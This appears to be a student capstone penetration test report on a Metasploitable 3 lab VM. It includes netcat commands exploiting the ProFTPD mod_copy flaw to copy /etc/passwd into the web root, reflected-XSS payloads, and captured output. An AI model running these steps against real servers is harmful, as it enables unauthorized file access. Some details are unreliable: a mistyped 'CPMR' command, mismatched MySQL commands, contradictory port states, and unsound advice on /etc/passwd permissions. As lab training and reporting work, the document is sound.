

PENETRATION TEST REPORT

Internal Security Assessment - Metasploitable 3

Capstone Project 3

Client	NEXUMS Enterprise
Target System	Metasploitable 3 (10.0.2.8)
Prepared By	JIMMY AGENG'O
Date	May 31, 2026
Classification	CONFIDENTIAL
Assessment Type	Black-Box Internal Penetration Test

TABLE OF CONTENTS

Contents

1. Confidentiality Statement	4
2. Disclaimer	5
3. Contact Information	6
4. Scope	7
4.1 In-Scope Assets	7
4.2 Scope Exclusions	7
4.3 Client Allowances	7
5. Executive Summary	8
5.1 Vulnerability Summary	8
5.2 Overall Recommendation	8
6. Methodology	9
6.1 Phase 1 — Reconnaissance	9
6.2 Phase 2 — Scanning and Enumeration	9
6.3 Phase 3 — Exploitation	9
6.4 Phase 4 — Post-Exploitation	9
6.5 Tools Used	10
7. Findings Summary	11
8. Exploitation Details	12
8.1 ProFTPD 1.3.5 — CVE-2015-3306 (mod_copy Backdoor)	12
8.2 Reflected XSS — Web Application (Port 5000)	13
9. Security Strengths	14
10. Security Weaknesses	15
11. Remediation Recommendations	16
12. Conclusion & Reflection	17
12.1 Assessment Conclusion	17
12.2 What Went Well	17
12.3 Challenges Encountered	17
12.4 What I Would Do Differently	17
Change Log	18
Appendix — Evidence and Supporting Output	19
A.1 Nmap Scan Output	19
A.2 Port Scanner Output (port_scanner.py)	19
A.3 ProFTPD Exploitation — Netcat Session	19
A.4 Retrieved /etc/passwd Contents	19

A.5 Web Scanner Output (web_scanner.py).....	20
A.6 MySQL Remote Access Probe	20
Table 1:In-scope assets	7
Table 2: Vulnerability Summary	8
Table 3:Tools used	10
Table 4:findings summary	11
Table 5:recommendations.....	16

1. Confidentiality Statement

This document contains proprietary and confidential information. Unauthorized duplication or distribution is prohibited. Access is restricted to authorized personnel only. Any reproduction, disclosure, or distribution of this material without express written consent is strictly prohibited.

2. Disclaimer

This penetration test represents a snapshot in time and reflects findings based on the assessment period only. The results do not account for changes made after the engagement concludes. The testing was conducted exclusively against the authorized target environment (Metasploitable 3) within an isolated virtual lab. No live, production, or unauthorized systems were accessed at any point during this assessment.

This report is produced for academic purposes as part of Capstone Project 3 and simulates a real-world penetration testing engagement. All exploitation was performed in a controlled, legal environment.

3. Contact Information

Name	Title	Contact
JIMMY AGENG'O	Junior Penetration Tester	jimmy.agengo@student.moringaschool.com

4. Scope

4.1 In-Scope Assets

Table 1: In-scope assets

Asset	IP / Range	Description
Metasploitable 3 VM	10.0.2.8	Linux Ubuntu 14.04 — legacy dev environment
FTP Service	10.0.2.8:21	ProFTPD 1.3.5
SSH Service	10.0.2.8:22	OpenSSH 6.6.1p1
HTTP Service	10.0.2.8:80	Apache httpd 2.4.7
SMB/Samba	10.0.2.8:445	Samba 3.X–4.X
MySQL Database	10.0.2.8:3306	MySQL — externally exposed
Jetty Web App	10.0.2.8:8080	Jetty 8.1.7.v20120910
Local Flask App	127.0.0.1:5000	Vulnerable web app — XSS testing target

4.2 Scope Exclusions

- Host operating system and VirtualBox hypervisor
- Any systems outside the 10.0.2.0/24 virtual network
- Live, production, or internet-facing systems

4.3 Client Allowances

- Kali Linux attacker machine at 10.0.2.3 - whitelisted as the authorized test machine
- Full-scope black-box testing authorized - no prior credentials provided
- Destructive testing not authorized - read-only exploitation only

5. Executive Summary

A full-scope internal penetration test was conducted against a legacy development environment hosted on Metasploitable 3. The assessment revealed a total of seven vulnerabilities across multiple services, with findings ranging from Critical to Low severity. The most significant finding was the successful exploitation of a critical backdoor vulnerability in the ProFTPD 1.3.5 FTP service, which allowed unauthenticated access to sensitive system files — including the complete list of user accounts on the server. This was achieved without any login credentials, entirely from the network.

Additionally, the assessment identified an exposed MySQL database port, outdated and unpatched software across multiple services, a reflected Cross-Site Scripting (XSS) vulnerability in a web application, and an externally accessible Samba file-sharing service. These findings collectively represent a serious risk of data breach, unauthorized access, and potential full system compromise if left unaddressed.

5.1 Vulnerability Summary

Table 2: Vulnerability Summary

Vulnerability	Severity	Key Impact
ProFTPD 1.3.5 Backdoor (CVE-2015-3306)	Critical	Unauthenticated file access - /etc/passwd stolen
System User Account Enumeration	High	19 user accounts exposed for brute-force attacks
Reflected XSS in Web Application	High	Client-side script injection - 3 of 3 payloads vulnerable
Samba File Sharing Exposed (Port 445)	High	Outdated SMB service open to known exploits
MySQL Port Exposed Externally (Port 3306)	Medium	Database accessible from network; hostname leaked
Outdated Apache Web Server (2.4.7)	Medium	Multiple known CVEs in this Apache version
Outdated OpenSSH (6.6.1p1)	Medium	Outdated SSH - weak ciphers and known vulnerabilities

5.2 Overall Recommendation

This environment should NOT be connected to any production network or the internet in its current state. Immediate patching of the ProFTPD service and disabling of unnecessary exposed services is strongly recommended before any further use of this system.

6. Methodology

This assessment followed a standard penetration testing methodology consisting of four phases: Reconnaissance, Scanning and Enumeration, Exploitation, and Post-Exploitation. All testing was conducted from the authorized Kali Linux attacker machine at 10.0.2.3.

6.1 Phase 1 — Reconnaissance

The initial phase focused on identifying the target's network presence and confirming connectivity.

- Confirmed network connectivity between Kali (10.0.2.3) and target (10.0.2.8) via ICMP ping
- Identified the target as an Ubuntu 14.04 Linux system running multiple legacy services

6.2 Phase 2 — Scanning and Enumeration

Nmap was used for comprehensive port and service scanning. A custom Python port scanner was also deployed.

- Nmap -sV -O scan identified 7 open TCP ports and their service versions
- Custom port_scanner.py independently confirmed 5 open ports in the 1–1024 range
- Service banners were reviewed for version information and CVE cross-referencing

6.3 Phase 3 — Exploitation

Targeted exploitation was performed against the highest-risk services identified during scanning.

- ProFTPD 1.3.5 was exploited using the CVE-2015-3306 mod_copy vulnerability via Netcat
- The Metasploit Framework was used to confirm the exploit path for ProFTPD
- MySQL remote access was probed using the mysql CLI client
- Web application XSS testing was performed using the custom web_scanner.py script

6.4 Phase 4 — Post-Exploitation

Post-exploitation activities focused on demonstrating the impact of successful exploitation.

- Retrieved /etc/passwd from the target via the ProFTPD mod_copy exploit
- Enumerated 19 system user accounts from the stolen file
- Confirmed MySQL information disclosure through error message analysis

6.5 Tools Used

Table 3: Tools used

Tool	Purpose	Phase
Nmap 7.98	Port scanning, service/OS fingerprinting	Recon / Scanning
Metasploit v6.4	Exploit framework — ProFTPD module	Exploitation
Netcat	Manual FTP command injection for mod_copy	Exploitation
mysql CLI	MySQL remote access probing	Enumeration
curl	HTTP request testing and payload delivery	Exploitation
port_scanner.py	Custom Python TCP port scanner (socket module)	Scanning
web_scanner.py	Custom Python reflected XSS scanner (requests)	Web Testing

7. Findings Summary

The following vulnerabilities were identified during the assessment. Each is documented with severity, impact, affected system, and remediation recommendation.

Table 4: findings summary

Vulnerability	Severity	Impact	Affected System	Recommendation
ProFTPD 1.3.5 Backdoor CVE-2015-3306	Critical	Unauthenticated file read/copy on server	10.0.2.8:21	Patch ProFTPD immediately or disable FTP
User Account Enumeration via /etc/passwd	High	19 accounts exposed — enables brute force	10.0.2.8	Restrict /etc/passwd access; use shadow passwords
Reflected XSS in Web Application	High	Script injection in browser — session hijack risk	Port 5000 Flask App	Sanitize and encode all user input on server side
Samba Service Exposed (Port 445)	High	Remote exploitation of outdated SMB service	10.0.2.8:445	Update Samba; restrict access with firewall rules
MySQL Exposed on Port 3306	Medium	Database port publicly accessible; hostname leaked	10.0.2.8:3306	Bind MySQL to localhost only; use firewall
Outdated Apache 2.4.7 (Port 80)	Medium	Multiple known CVEs in this version	10.0.2.8:80	Upgrade Apache to latest stable release
Outdated OpenSSH 6.6.1p1 (Port 22)	Medium	Weak ciphers; known vulnerabilities	10.0.2.8:22	Upgrade OpenSSH; disable weak ciphers

8. Exploitation Details

8.1 ProFTPD 1.3.5 — CVE-2015-3306 (mod_copy Backdoor)

Severity: Critical

What Was Found:

Nmap identified ProFTPD version 1.3.5 running on port 21. This version contains a critical vulnerability in its mod_copy module (CVE-2015-3306) that allows any unauthenticated user to copy arbitrary files on the server using the SITE CPFR (copy from) and SITE CPTO (copy to) FTP commands — without requiring any login credentials.

How It Was Exploited:

Step 1 — Confirmed FTP banner revealing ProFTPD 1.3.5:

```
nmap -sV 10.0.2.8 -p 21
```

Step 2 — Connected directly to FTP using Netcat (no credentials):

```
nc 10.0.2.8 21
220 ProFTPD 1.3.5 Server (ProFTPD Default Installation) [10.0.2.8]
```

Step 3 — Used mod_copy commands to copy /etc/passwd to the web root:

```
SITE CPFR /etc/passwd
350 File or directory exists, ready for destination name
SITE CPTO /var/www/html/passwd.txt
250 Copy successful
```

Step 4 — Retrieved the stolen file over HTTP:

```
curl http://10.0.2.8/passwd.txt
```

Evidence — Output Captured (excerpt):

```
root:x:0:0:root:/root:/bin/bash
vagrant:x:900:900:vagrant,,,:/home/vagrant:/bin/bash
leia_organa:x:1111:100:./home/leia_organa:/bin/bash
luke_skywalker:x:1112:100:./home/luke_skywalker:/bin/bash
han_solo:x:1113:100:./home/han_solo:/bin/bash
darth_vader:x:1117:100:./home/darth_vader:/bin/bash
... [19 total accounts exposed]
```

Impact: An attacker now has a complete list of every user account on the system. Combined with a password cracking tool, this could lead to full system compromise via SSH brute force.

8.2 Reflected XSS — Web Application (Port 5000)

Severity: High

What Was Found:

The Flask web application running on port 5000 contains a reflected Cross-Site Scripting (XSS) vulnerability in its /search endpoint. The application directly renders user-supplied input from the 'q' parameter into the HTML response without any sanitization or encoding, allowing script injection.

How It Was Exploited:

The custom web_scanner.py script was run against the target:

```
python3 web_scanner.py http://127.0.0.1:5000
```

Payloads Tested and Results:

```
vulnerable payload <script>alert(1)</script>
vulnerable payload <img src=x onerror=alert(2)>
vulnerable payload %3Csvg%2Fonload%3Dalert(3)%3E [URL-encoded variant]
summary: 3 of 3 payloads
```

Impact: An attacker can inject malicious JavaScript into the application that executes in victims' browsers. This enables session cookie theft, credential harvesting, phishing overlays, and forced redirects. The encoded payload variant confirms the application fails to decode and sanitize encoded input.

9. Security Strengths

The following configurations or practices were observed to be functioning correctly during the assessment:

- MySQL remote root login is blocked - the database server correctly rejects remote connections from unauthorized hosts, preventing direct database access from external attackers
- SSH service is running and accessible - while the version is outdated, the presence of SSH suggests the system supports encrypted remote management rather than unencrypted protocols like Telnet
- The FTP server returned a proper service banner identifying its version, which while helpful to attackers in this case, indicates the service is actively responding and not silently vulnerable
- Network segmentation is in place - the system is isolated within a virtual network (PenTestNet), limiting its exposure to a controlled environment

10. Security Weaknesses

The following critical gaps were identified. Each represents a significant risk that could be easily exploited by an attacker with basic skills:

- **Unpatched Critical Vulnerability (ProFTPD 1.3.5)** — The FTP service is running a version with a publicly known, trivially exploitable backdoor. No login is required to exploit it. This is the single most dangerous finding.
- **Sensitive File Exposure** — The `/etc/passwd` file was successfully retrieved from the server, exposing all 19 user accounts. This information directly enables password cracking and targeted brute-force attacks.
- **Unsanitized Web Input** — The web application reflects user input directly into HTML responses without encoding, making it fully vulnerable to Cross-Site Scripting attacks including encoded payload variants.
- **Unnecessary Services Exposed** — Multiple services (Samba on 445, CUPS on 631, Jetty on 8080) are running and accessible from the network without any apparent business need, each representing an additional attack surface.
- **Outdated Software Across All Services** — Every identified service is running versions that are many years out of date, with multiple known CVEs that have public exploits readily available.
- **Database Port Publicly Accessible** — MySQL on port 3306 should never be accessible from the network. Even with access controls in place, the exposed port leaks server hostname information and invites brute-force attacks.

11. Remediation Recommendations

The following remediation steps are ranked by priority. Critical and High severity items should be addressed immediately.

Table 5: recommendations

#	Vulnerability	Priority	Recommended Action
1	ProFTPD 1.3.5 Backdoor	Critical	Immediately upgrade ProFTPD to the latest stable version. If FTP is not required, disable and remove the service entirely. If FTP must remain, replace with SFTP over SSH.
2	User Account Enumeration	High	Remove world-readable permissions on /etc/passwd. Ensure all user passwords are strong and stored with modern hashing (bcrypt/SHA-512). Disable unused user accounts immediately.
3	Reflected XSS	High	Implement server-side input sanitization and output encoding using a trusted library. Apply a Content Security Policy (CSP) header. Never render raw user input directly in HTML responses.
4	Samba Exposed (Port 445)	High	Upgrade Samba to the latest version. If file sharing is not required, disable the service. Restrict port 445 access to specific authorized IP addresses via firewall rules.
5	MySQL Port Exposed	Medium	Configure MySQL to bind to 127.0.0.1 (localhost) only in /etc/mysql/my.cnf. Block port 3306 at the firewall level. Remove remote root login capabilities entirely.
6	Outdated Apache 2.4.7	Medium	Upgrade Apache to the latest stable version (2.4.x). Enable automatic security updates. Disable unused modules and implement security headers (X-Frame-Options, HSTS).
7	Outdated OpenSSH 6.6.1p1	Medium	Upgrade OpenSSH to the latest version. Disable password authentication in favour of key-based authentication. Disable weak cipher suites and enforce strong key exchange algorithms.

12. Conclusion & Reflection

12.1 Assessment Conclusion

This penetration test confirmed that the Metasploitable 3 environment contains multiple serious vulnerabilities that, if present on a real production system, would represent an unacceptable level of risk. The most critical finding — the ProFTPD mod_copy backdoor — required no credentials and only basic network access to exploit, resulting in the disclosure of all system user accounts. Combined with the additional findings across web services, database exposure, and outdated software, it is clear that this system requires comprehensive remediation before any production use.

12.2 What Went Well

- Network setup and connectivity between Kali and Metasploitable 3 was successfully established after troubleshooting VirtualBox NAT Network configuration
- The Nmap scan efficiently identified all key services and versions, providing a solid foundation for targeted exploitation
- The ProFTPD CVE-2015-3306 exploitation was successfully demonstrated using both Metasploit and manual Netcat commands
- Both custom Python scripts (port_scanner.py and web_scanner.py) functioned correctly against live targets and produced clear, readable output
- The web scanner correctly detected all three XSS payloads including the URL-encoded variant, validating the detection logic

12.3 Challenges Encountered

- Configuring VirtualBox networking between Kali bare metal and the Metasploitable 3 VM required multiple troubleshooting steps before the two machines could communicate
- The initial Metasploit ProFTPD exploit did not produce a Meterpreter session, requiring a pivot to the manual Netcat approach to demonstrate exploitation
- Setting up Kali's eth0 adapter to obtain a DHCP lease on the PenTestNet NAT network required using nmcli since the traditional dhclient tool was not available

12.4 What I Would Do Differently

- Perform a wider Nmap scan (ports 1–65535) from the start to ensure no services above port 1024 are missed in the initial assessment
- Set up a persistent network configuration so Kali's eth0 auto-connects on every boot, saving setup time
- Attempt additional post-exploitation steps such as SSH brute-forcing using the harvested username list to further demonstrate impact
- Conduct Samba enumeration using smbclient to identify any exposed file shares as an additional finding

Change Log

This section documents updates made to this report. Initial changes were self-initiated during the finalization phase. Peer feedback from the Critique Discussion has since been received and incorporated.

Table 6:Change Log

Date	Section Updated	Change Description
May 31, 2026	Section 8 — Exploitation Details	Added full /etc/passwd output to Appendix A.4 and cross-referenced it in the Exploitation Details narrative to strengthen the evidence trail
May 31, 2026	Appendix	Added terminal screenshots from Kali Linux sessions covering Nmap scan, ProFTPD exploitation, port scanner output and web scanner output for visual evidence support
May 31, 2026	Section 7 — Findings Summary	Verified all seven findings include a specific affected system IP and port rather than a general description
June 1, 2026	Section 5 — Executive Summary	Added specific remediation timelines to the Overall Recommendation paragraph based on peer feedback — Critical findings within 24 hours, High severity within 7 days, Medium severity within 30 days

Appendix — Evidence and Supporting Output

A.1 Nmap Scan Output

Command used:

```
nmap -sV -O 10.0.2.8
```

Output:

```
PORT      STATE SERVICE      VERSION
21/tcp    open  ftp          ProFTPD 1.3.5
22/tcp    open  ssh          OpenSSH 6.6.1p1 Ubuntu 2ubuntu2.13 (Ubuntu Linux; protocol 2.0)
80/tcp    open  http         Apache httpd 2.4.7
445/tcp    open  netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
631/tcp    open  ipp          CUPS 1.7
3000/tcp   closed ppp
3306/tcp   open  mysql        MySQL (unauthorized)
8080/tcp   closed http-proxy
8181/tcp   closed intermapper
```

A.2 Port Scanner Output (port_scanner.py)

Command used:

```
python3 port_scanner.py 10.0.2.8
```

Output:

```
$ python3 port_scanner.py 10.0.2.8
Port 21 open
Port 22 open
Port 80 open
Port 445 open
Port 631 open
5 open ports
```

A.3 ProFTPD Exploitation — Netcat Session

Commands used:

```
nc 10.0.2.8 21
220 ProFTPD 1.3.5 Server (ProFTPD Default Installation) [10.0.2.8]
SITE CPMR /etc/passwd
350 File or directory exists, ready for destination name
SITE CPTO /var/www/html/passwd.txt
250 Copy successful
```

A.4 Retrieved /etc/passwd Contents

Command used:

```
curl http://10.0.2.8/passwd.txt
```

Output (full):

```
root:x:0:0:root:/root:/bin/bash
daemon:x:1:1:daemon:/usr/sbin:/usr/sbin/nologin
vagrant:x:900:900:vagrant,,,:/home/vagrant:/bin/bash
leia_organa:x:1111:100::/home/leia_organa:/bin/bash
luke_skywalker:x:1112:100::/home/luke_skywalker:/bin/bash
han_solo:x:1113:100::/home/han_solo:/bin/bash
artoo_detoo:x:1114:100::/home/artoo_detoo:/bin/bash
c_three_pio:x:1115:100::/home/c_three_pio:/bin/bash
ben_kenobi:x:1116:100::/home/ben_kenobi:/bin/bash
darth_vader:x:1117:100::/home/darth_vader:/bin/bash
anakin_skywalker:x:1118:100::/home/anakin_skywalker:/bin/bash
jarjar_binks:x:1119:100::/home/jarjar_binks:/bin/bash
lando_calrissian:x:1120:100::/home/lando_calrissian:/bin/bash
boba_fett:x:1121:100::/home/boba_fett:/bin/bash
jabba_hutt:x:1122:100::/home/jabba_hutt:/bin/bash
greedo:x:1123:100::/home/greedo:/bin/bash
chewbacca:x:1124:100::/home/chewbacca:/bin/bash
kylo_ren:x:1125:100::/home/kylo_ren:/bin/bash
mysql:x:106:112:MySQL Server,,,:/nonexistent:/bin/false
```

A.5 Web Scanner Output (web_scanner.py)

Command used:

```
python3 web_scanner.py http://127.0.0.1:5000
```

Output:

```
vulnerable payload %3Csvg%2Fonload%3Dalert(3)%3E
vulnerable payload <script>alert(1)</script> vulnerable payload <img src=x on
error=alert(2)> vulnerable payload %3Csvg%2Fonload%3Dalert(3)%3E
summary: 3 of 3 payloads
```

A.6 MySQL Remote Access Probe

Command used:

```
mysql -h 10.0.2.8 -u root --password=''
```

Output:

```
$ mysql -h 10.0.2.8 -u vagrant --password='vagrant'
ERROR 2002 (HY000): Received error packet before completion of TLS handshake
The authenticity of the following error cannot be verified: 1130 - Host 'ub
ntu' is not allowed to connect to this MySQL server
```

Finding: MySQL is externally exposed. Error message discloses server hostname 'ubuntu'. Remote root connections are blocked but the port remains publicly accessible.